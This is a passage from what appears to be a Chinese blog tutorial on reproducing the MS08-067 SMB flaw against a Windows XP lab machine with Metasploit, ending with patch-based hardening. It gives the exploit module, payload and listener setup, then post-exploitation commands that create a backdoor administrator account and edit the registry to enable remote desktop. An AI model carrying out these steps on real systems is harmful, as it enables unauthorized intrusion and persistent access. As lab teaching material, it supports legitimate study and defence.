MS08-067 漏洞利用与安全加固_ms08-067端口

最新推荐文章于 2024-09-13 12:56:10 发布

2401_84972627

最新推荐文章于 2024-09-13 12:56:10 发布

阅读量912

点赞数 12

分类专栏：程序员文章标签：安全

本文链接：https://blog.csdn.net/2401_84972627/article/details/138984588

版权

程序员专栏收录该内容

27 篇文章 1 订阅

订阅专栏

如下图：找到 State：VULNERABLE 表示存在漏洞

在这里插入图片描述

步骤04、

根据扫描得到的结果，靶机的操作系统为 Windows XP。通过脚本检测搭配该操作系统包含命令执行漏洞，漏洞编号为 MS08_067, 下面通过渗透机中的利用模块对该漏洞利用，通过msfconsole 命令来启动Metasploit 漏洞渗透平台，如图所示。

启动 Metasploit

在这里插入图片描述

步骤05、

使用search 命令搜索 SMB 溢出模块MS08_067 并进行利用，如图所示。

搜索 MS08_067 溢出模块

在这里插入图片描述

步骤06、

使用 use 命令选择 exploit/Windows/smb/ms08_067_netapi 模块进行利用，然后使用 show options 命令查看需要设置的参数，如图所示。

查看配置参数

在这里插入图片描述

设置 RHOST为靶机IP，如图所示。

设置靶机地址

在这里插入图片描述

步骤07、

使用set payload 命令设置回连至控制端的载荷模块并执行如下操作，如图所示。

设置载荷模块

在这里插入图片描述

使用 show options 命令查看Payload 中需要配置的参数，如图所示。

查看 Payload 中配置的参数

在这里插入图片描述

使用 set LHOST 命令设置渗透机监听的地址，即本次实验地址 192.168.253.134 如图所示。

设置监听地址

在这里插入图片描述

使用 show targets 命令显示漏洞溢出模块 exploit 所支持的目标类型（操作系统，软件版本等），如图所示。

显示支持的目标类型

在这里插入图片描述

步骤08、

使用 check 命令检测目标靶机是否存在漏洞，如图所示。

运行检测脚本

在这里插入图片描述

步骤09、

使用 exploit 命令执行溢出攻击模块，如图所示。

运行溢出模块

在这里插入图片描述

步骤10、

使用 cmd命令，如 netstat -an 查看端口开发情况，如图所示。

查看开发端口

在这里插入图片描述

步骤11、

使用 net user 用户名密码/add 命令创建用户，如图所示。

创建后门用户

在这里插入图片描述

步骤12、

使用 net localgroup administrators 用户名 /add 命令将新用户添加到 administrator 分组（提升到管理员），如图所示。

添加用户到管理员分组

在这里插入图片描述

步骤13、

使用 REG ADD HKLM\SYSTEM\CurrentControSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f 命令设置注册表，如图所示。

设置注册表

在这里插入图片描述

步骤14、

在开始之前确保渗透机安装了rdesktop 一般都自带了，使用 rdesktop 软件远程连接目标靶机，输入用户名和密码，如图所示。

需要在远程桌面选项中，选择允许运行任意版本远程桌面的连接。

远程桌面连接，输入用户名和密码

在这里插入图片描述

连接成功

在这里插入图片描述

最后，我们还需要将新建的用户名theRavensea删除

3 MS08_067 安全加固

声明：上面漏洞复现使用的是 Windows XP Server Pack 2 英文版作为靶机，使用Windows XP Server Pack 2 中文版作为靶机最后exploit的时候出现错误Exploit completed, but no session was created. 。但MS08_067安全加固的时候英文版的补丁找不到，下载了kb988644无法实现安全加固复现过程，所以安全加固的使用 Windows XP Server Pack 2 中文版，中文版存在漏洞，只是我现在复现不了攻击成功的过程。

使用 Windows XP Server Pack 2 实现MS08_067 安全加固

想要下载中文版补丁的点击此链接 KB958644

步骤15、

大多数用户启用了 ”自动更新“，他们不必采取任何操作，因为此安全更新将自动下载并安装。尚未启动 ”自动更新”的用户必须检查更新，并手动安装此更新。有关自动更新中特定配置选项的信息，对于管理员，企业安装或想要手动安装此安全更新的最终用户，MIcrosoft 建议使用更新管理软件来立即应用此更新或利用 Microsoft Update 服务检查更新，如图所示。